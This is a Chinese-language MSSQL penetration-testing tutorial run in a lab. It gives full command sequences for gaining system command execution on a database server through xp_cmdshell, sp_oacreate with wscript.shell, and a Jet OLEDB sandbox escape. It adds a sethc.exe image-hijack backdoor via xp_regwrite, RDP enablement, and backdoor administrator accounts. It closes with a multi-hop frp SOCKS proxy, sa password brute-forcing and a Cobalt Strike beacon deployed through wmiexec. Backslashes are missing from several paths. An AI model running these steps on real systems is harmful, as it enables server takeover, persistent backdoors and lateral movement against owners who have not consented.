本篇文章是MSSQL數據庫漏洞提權復現記錄,記錄了實際中常見的MSSQL數據庫漏洞并如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:MSSQL簡介、MSSQL各版本安裝、MSSQL基本操作、MSSQL漏洞復現提權和自建內網環境實戰。
本篇文章由淺入深地介紹了系統存儲過程控制不當導致提權如sp_oacreate和sp_oamethod、擴展存儲過程使用不當提權如xp_cmdshell和xp_regwrite、沙盒提權及映像劫持。在學習MSSQL過程中也閱讀了幾十篇中英文MSSQL相關技術文章,最終按照作者我的思路進行總結,相關參考文章也在文中有列出。此外,文中可能會出現部分錯誤,望讀者指出,謝謝。接著,開始我們的MSSQL數據庫滲透學習!!
一、MSSQL簡介
MSSQL(MicroSoft SQL Server數據庫)
,是微軟開發的關系型數據庫管理系統DBMS
,是一個較大型的數據庫,提供數據庫的從服務器到終端的完整的解決方案,數據庫管理系統SSMS(SQL Server Managerment Studio)
,是一個用于建立、使用和維護數據庫的集成開發環境。端口號:1433
SA用戶
在搭建時,選擇使用SQL Server
身份驗證會創建SA賬戶并設置密碼,SA(System Administrator)
表示系統管理員,在SQLServer2019
之前的SA用戶都是系統最高權限用戶SYSTEM
,但在2019版本時為普通數據庫用戶mssqlserver
,是一個低權用戶。
MSSQL權限級別
sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等價于system,SQLServer數據庫的最高權限
db權限:文件管理,數據庫操作等價于 users-administrators
public權限:數據庫操作等價于 guest-users
存儲過程
MSSQL的存儲過程是一個可編程的函數,它在數據庫中創建并保存,是使用T_SQL編寫的代碼段,目的在于能夠方便的從系統表中查詢信息。數據庫中的存儲過程可以看做是對編程中面向對象方法的模擬。它允許控制數據的訪問方式,使用execute
命令執行存儲過程。(可以將存儲過程理解為函數調用的過程)
簡單來說,存儲過程就是一條或者多條sql語句的集合,可視為批處理文件
存儲過程可分為三類:系統存儲過程:主要存儲在master數據庫中,以”sp_“為前綴,在任何數據庫中都可以調用,在調用的時候不必在存儲過程前加上數據庫名擴展存儲過程:是對動態鏈接庫(DLL)函數的調用,主要是用于客戶端與服務器端或客戶端之間進行通信的,以“xp**_“為前綴,使用方法與系統存儲過程類似用戶定義的存儲過程:**是SQLServer的使用者編寫的存儲過程
系統數據庫
系統數據庫默認創建時就會存在,有以下4種
數據庫名 | 含義 |
---|---|
master | master數據庫控制SQLserver數據庫所有方面。這個數據庫中包括了所有的配置信息、用戶登錄信息、當前正在服務器中運行的過程的信息等。 |
model | model數據庫是建立所有用戶數據庫時的模版。新建數據庫時,SQLserver會把model數據庫中的所有對象建立一份拷貝并移到新數據庫中。在模版對象被拷貝到新的用戶數據庫中之后,該數據庫的所有多余空間都將被空頁填滿。 |
msdb | msdb數據庫是SQLserver數據庫中的特例,若想查看此數據庫的實際定義,會發現它其實是一個用戶數據庫。所有的任務調度、報警、操作員都存儲在msdb數據庫中。該庫的另一個功能是用來存儲所有備份歷史。SQLserver agent將會使用這個庫。 |
tempdb | 據庫是一個非常特殊的數據庫,供所有來訪問你的SQL Server的用戶使用。這個庫用來保存所有的臨時表、存儲過程和其他SQL Server建立的臨時用的東西。例如,排序時要用到tempdb數據庫。數據被放進tempdb數據庫,排完序后再把結果返回給用戶。每次SQL Server重新啟動,它都會清空tempdb數據庫并重建。永遠不要在tempdb數據庫建立需要永久保存的表。 |
MSSQL注入
MSSQL注入與普通的MYSQL注入類似,但在數據結構特定函數名稱上有些差異。而使用經過語法擴展的T-SQL語句,在實現更為復雜的業務的同時,也帶來了安全上的危險。因此MSSQL在后續提權部分,與MYSQL有著較大的差異。由于該數據庫與Windows平臺的高契合度,使其可以使用Windows身份驗證(或SA管理員賬號),這就導致其運行權限較高。因此,若后續權限沒有限制準確,WEB代碼又存在SQL注入時,就會給整個服務器的安全帶來嚴重威脅,其后果一般比Mysql被攻破要嚴重。
二、軟件安裝及環境搭建
1、MSSQL 2019安裝
Win2016 + MSSQL2019
下載地址:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
選擇SQL Server 2019 Express Edition版本
安裝過程百度即可,這里記錄其中較關鍵的地方:
安裝類型選擇-基本(B)
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統管理員SA的密碼(我設置密碼為123.com)
安裝SQL Server Managerment Studio|SSMS
安裝完SQL Server Express版本后,可以直接選擇安裝SSMS
在點擊"安裝SSMS"彈出網頁內選擇下載SSMS
點擊該程序,默認安裝即可
2、MSSQL 2008 x64 安裝
Win2016 + MSSQL2008
下載地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
下載如圖兩個文件
先安裝SQLEXPR_x64_CHS.exe
基本安裝過程類似2019的,記錄下重要部分
選擇-全新安裝
實例配置選擇-默認實例
服務器配置選擇-混合模式(SQL Server身份驗證和Windows 身份驗證)(M)
配置SQL Server系統管理員SA的密碼(我設置密碼為123.com)
再安裝SQLManagementStudio_x64_CHS.exe
提示沒有安裝.NET3.5
,按下文步驟即可
https://www.cnblogs.com/labster/p/14863516.html
之后選擇全新安裝,默認下一步即可
3、MSSQL 2008 x32 安裝
Win2003 + MSSQL2008
下載地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
這里的32位系統環境用于復現第四部分的沙盒漏洞提權,相較于前兩個數據庫的安裝,這里遇到了不少坑,較詳細介紹下。使用Win2003 x32
系統作為復現操作系統,由于年代久遠加上03系統裝08軟件,記錄下幾個坑點。
1)啟動SQLEXPR_x86_CHS.exe
提示缺失程序
2)安裝.NET 3.5
慢慢等待5分鐘
3)安裝Windows_Installer4.5x86.exe
默認下一步
4)安裝powershell2003x86-CHS.exe
其余安裝過程類似,就不詳細介紹了,附上安裝工具包:
https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密碼:fm4v
三、MSSQL基本操作
1、SSMS連接數據庫
連接本地數據庫,在之前的設置中,我們設置了混雜模式,即可以使用SQL Server 身份驗證或 Windows 身份驗證登陸進數據庫,點擊啟動SSMS
服務器名稱可以填寫主機名或本地ip地址 登錄名和密碼為sa:123.com
注意點:可以一開始會出現使用主機名可以登入上,但是使用ip登入不上的情況可以參考如下文章解決
https://blog.csdn.net/weixin_30740295/article/details/95535927
MSSQL設置允許通過ip登陸
(以2019版本為例,其余版本類似)
1)打開配置管理器
2)協議TCP/IP設置為開啟
在SQL Server 網絡配置
下的MSSQLSERVER的協議
里啟用TCP/IP協議
3)開啟遠程登陸
先用主機名進行登陸
右鍵,打開數據庫的屬性
在連接
處勾選允許遠程連接到此服務器
4)關閉防火墻
這里用于滲透測試,直接全部關了
5)重啟SSMS服務
打開管理員模式下的CMD
net stop mssqlserver
net start mssqlserver
之后就可以使用IP進行登陸
2、常見語句
右鍵系統數據庫,新建查詢
查看數據庫版本
select @@VERSION
獲取MSSQL中的所有數據庫名
SELECT name FROM MASter..SysDatabASes ORDER BY name
查詢所有數據庫中的表名
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200
其余見MSSQL基礎學習部分,自行百度
exec xp_dirtree 'c:' # 列出所有c:文件、目錄、子目錄
exec xp_dirtree 'c:',1 # 只列c:目錄
exec xp_dirtree 'c:',1,1 # 列c:目錄、文件
exec xp_subdirs 'C:'; # 只列c:目錄
select is_srvrolemember('sysadmin') # 判斷是否是SA權限
select is_member('db_owner') # 判斷是否是db_owner權限
select is_srvrolemember('public') # 判斷是否是public權限
EXEC sp_configure 'Ole Automation Procedures' #查看OLE Automation Procedures的當前設置
四、MSSQL漏洞復現
1、使用xp_cmdshell進行提權
xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后默認禁止,但未刪除
0x01 xp_cmdshell簡介
xp``_cmdshell
是Sql Server
中的一個組件,將命令字符串作為操作系統命令 shell 執行,并以文本行的形式返回所有輸出。通常在拿到sa口令之后,可以通過xp``_cmdshell
來進行提權
影響范圍:
只要該數據庫存在該組件,就可以利用
0x02 xp_cmdshell使用
1)查看xp_cmdshell狀態
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1表示xp``_cmdshell
組件啟用
也可以手動查看,右鍵數據庫,打開Facets
在方面中選擇外應用配置器
,在方面屬性中查看XP``CmdShellEnabled
屬性為True
2)開啟xp_cmdshell組件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
同樣,關閉該組件的命令為
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
3)利用xp_cmdshell執行命令
執行系統命令
以下幾條命令格式都可以用于執行系統命令
exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami' (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"
注意點:在MSSQL2019版本中,會使用mssqlserver用戶而非system用戶
0x03 模擬實戰:遠程命令執行創建用戶
這里通過演示遠程命令執行來模擬實戰情況,遠程MSSQL數據庫版本為2008版 環境信息:
遠程MSSQL數據庫的IP:192.168.112.166
假設已經爆破得到了sa密碼
創建用戶聯合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
可以看到用戶添加成功
后續可以登陸用戶上傳木馬,上線CS,詳情見本文第五部分:二級內網MSSQL滲透|上線CS
0x04 保護措施
將該xp_cmdshell
存儲過程刪除即可
exec sp_dropextendedproc 'xp_cmdshell'
被刪除后,重新添加xp``_cmdshell
存儲過程語句
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
若想徹底刪除xp_cmdshell
擴展存儲過程,建議在C盤里直接搜索xplog70.dll
,然后刪除xp_cmdshell
。
2、使用sp_oacreate進行提權|無回顯
0x01 sp_oacreate簡介
調用wscript.shel執行命令
sp_oacreate
系統存儲過程可以用于對文件刪除、復制、移動等操作,還可以配合sp_oamethod
系統存儲過程調用系統wscript.shell
來執行系統命令。sp_oacreate
和sp_oamethod
兩個過程分別用來創建和執行腳本語言。
系統管理員使用sp_configure
啟用sp_oacreate
和sp_oamethod
系統存儲過程對OLE自動化過程的訪問(OLE Automation Procedures)
在效果方面,sp_oacreate、sp_oamethod
兩個過程和xp_cmdshell
過程功能類似,因此可以替換使用!
利用條件:
1.已獲取到sqlserver sysadmin權限用戶的賬號與密碼且未降權(如2019版本sa用戶權限為mssqlserver,已降權)
2.sqlserver允許遠程連接
3.OLE Automation Procedures選項開啟
0x02 sp_oacreate使用
1)查看sp_oacreate狀態
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
返回1表示存在sp_oacreate
系統存儲過程
2)啟用OLE Automation Procedures選項
當啟用 OLE Automation Procedures 時,對 sp_OACreate 的調用將會啟動 OLE 共享執行環境。
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
類似的,關閉組件命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
3)利用sp_oacreate和sp_oamethod執行命令
寫入文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回顯0表示成功
由于這里是無回顯的命令執行,到另一臺主機上查看效果,成功寫入。
刪除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token
可以看到文件已刪除
同樣,也可以使用4.1中的創建用戶進行登陸拿shell。
3、利用SQL Server 沙盒提權
0x01 SQL Server 沙盒簡介
沙盒模式是一種安全功能,用于限制數據庫只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。如果表達式不使用可能以某種方式損壞數據的函數或屬性(如Kill 和 Shell 之類的函數),則可認為它是安全的。當數據庫以沙盒模式運行時,調用這些函數的表達式將會產生錯誤消息。
沙盒提權的原理就是jet.oledb
(修改注冊表)執行系統命令。數據庫通過查詢方式調用mdb
文件,執行參數,繞過系統本身自己的執行命令,實現mdb
文件執行命令。
利用前提:
1.需要
Microsoft.Jet.OLEDB.4.0
一般在32位系統才可以,64位機需要12.0,較復雜
2.dnary.mdb
和ias.mdb
兩個文件 在win2003
上默認存在,也可自行準備
0x02 沙盒提權
復現環境
SQL Server2008 (Win2003-x32)
IP: 192.168.112.173
1)測試 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')
2)開啟Ad Hoc Distributed Queries組件
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
類似的,關閉組件命令
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;
3)關閉沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
沙盒模式`SandBoxMode`參數含義(默認是2)
0:在任何所有者中禁止啟用安全模式
1:為僅在允許范圍內
2:必須在access模式下
3:完全開啟
查看命令:
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
關閉命令:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2
4)執行命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');
在win2003的c盤上看到已經創建了該文件,命令執行成功
同樣,可以創建用戶
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');
4、使用xp_regwrite提權 | 映像劫持提權
2008以上,05未測試
0x01 簡介
通過使用xp_regwrite
存儲過程對注冊表進行修改,替換成任意值,造成鏡像劫持。
前提條件:
1.未禁止注冊表編輯(即寫入功能)
2.xp_regwrite啟用
0x02 映像劫持提權
1)查看xp_regwrite是否啟用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
2)xp_regwrite開啟與關閉
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
2)利用regwrite函數修改組注冊表進行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
2)查看是否修改成功文件
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
顯示已修改為cmd.exe
在目標主機上查看,結果一致
3)驗證是否成功
連按5次粘滯鍵,彈出cmd框
拓展:
上面對只是對粘滯鍵進行修改,類似的,可以在注冊表中進行其他操作
刪除指定注冊表鍵值對
刪除粘滯鍵的鍵值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'
到目標主機上查看,發現sethc.exe在注冊表中的值已刪除
開啟3389端口這里的xp``_regwrite
為向注冊表中寫數據
execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
在注冊表中也可以看到3389端口被打開
0x03 參考
https://sqlandme.com/tag/xp_regwrite/
IFEO映像劫持在實戰中的使用 - 知乎 (zhihu.com)
5、使用sp_makewebtask寫文件
2005
一般可以用于web網站,寫入后門文件
1)查看該組件
EXEC sp_configure 'Web Assistant Procedures'
2)開啟該組件
exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
報錯,在SQLServer2005后好像都沒有這個組件了
6、拓展&小結
常見的存儲過程:
xp_cmdshell 執行系統命令
xp_fileexist 確定一個文件是否存在。
xp_getfiledetails 獲得文件詳細資料。
xp_dirtree 展開你需要了解的目錄,獲得所有目錄深度。
Xp_getnetname 獲得服務器名稱。
注冊表訪問的存儲過程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
OLE自動存儲過程
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
五、二級內網MSSQL滲透|上線CS
這里模擬搭建二級內網環境,順便復習下二級frp代理的搭建和內網穿透上線CS。環境配置信息如下
公網服務器
121.xx.xx.xx
Web服務器(目標站點)
192.168.73.137(對外)
10.10.10.101(對內)
域控
10.10.10.10
10.12.10.5
MSSQL服務器
10.12.10.3
這里假設已經獲取到了Web服務器和域控的權限
1、搭建二級代理
1)在域控上傳frpc.exe
和frpc.ini
文件
#frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12010 # 連接端口
[http_proxy]
type = tcp
remote_port = 1084 # 代理端口
plugin = socks5
2)在Web服務器上傳frpc.exe、frpc.ini、frps.exe、frps.ini
文件
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12010
# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12010
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1084
remote_port = 1084
3)在公網服務器上傳frps.exe
和frps.ini
#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12010
4)依次連接(由內到外)
web服務器
frps.exe -c frps.ini
域控
frpc.exe -c frpc.ini
公網服務器
frps.exe -c frps.ini
web服務器
frpc.exe -c frpc.ini
2、爆破sa密碼
使用fscan掃描,順便進行弱口令爆破,成功爆破出sa密碼
也可以使用msf模塊爆破
3、設置代理|遠程登陸MSSQL
使用Proxifier設置代理,添加代理服務器信息
連接MSSQL數據庫
成功連接!!
4、使用xp_cmdshell創建用戶
這里也可以使用其他方法命令執行
1)查看開啟xp_cmdshell組件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
2)查看當前權限
exec master..xp_cmdshell "whoami"
system權限,可以創建用戶
3)創建用戶并添加至管理員組
創建sqltest
用戶,密碼為123.com
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
4)CS生成后門文件(中轉監聽器)
在域控上建立中轉監聽器
將生成好后的文件拷貝到kali上
5)使用wmiexec工具遠程登陸
proxychains python3 wmiexec.py tset12:123.com@10.12.10.3
上傳木馬文件
6)成功上線CS
六、總結
本文介紹了幾種提權拿shell的方法,主要是利用到了系統存儲過程和擴展存儲過程。最常見的xp_cmdshell可以用于執行系統命令,xp_regwrite、xp_regread用于注冊表的讀寫進行映像劫持,sp_oacreate、sp_oamethod基于OLE Automation Procedures執行系統命令,不過無回顯,基于沙盒的提權限制條件比較多且復雜,一般很少使用。
審核編輯 :李倩
-
數據庫
+關注
關注
7文章
3919瀏覽量
66124 -
函數
+關注
關注
3文章
4379瀏覽量
64726 -
Shell
+關注
關注
1文章
372瀏覽量
24172
原文標題:數據庫安全之MSSQL滲透
文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
用Delphi做中BDE連接SQL數據庫(學習Delphi環境中數據庫操作的方法和數據庫應用程序
安全數據庫如何管理
數據庫有什么安全需求?需要什么安全技術?
數據庫學習入門資料之如何進行數據庫設計

數據庫系統概論之數據庫管理系統詳細資料概述

數據庫系統概論之如何進行數據庫編程的資料概述

上位機開發——數據庫系列問題

云數據庫和普通數據庫區別?|PetaExpress云端數據庫
數據庫數據恢復—MSSQL Server報錯“附加數據庫錯誤823”的數據恢復案例

評論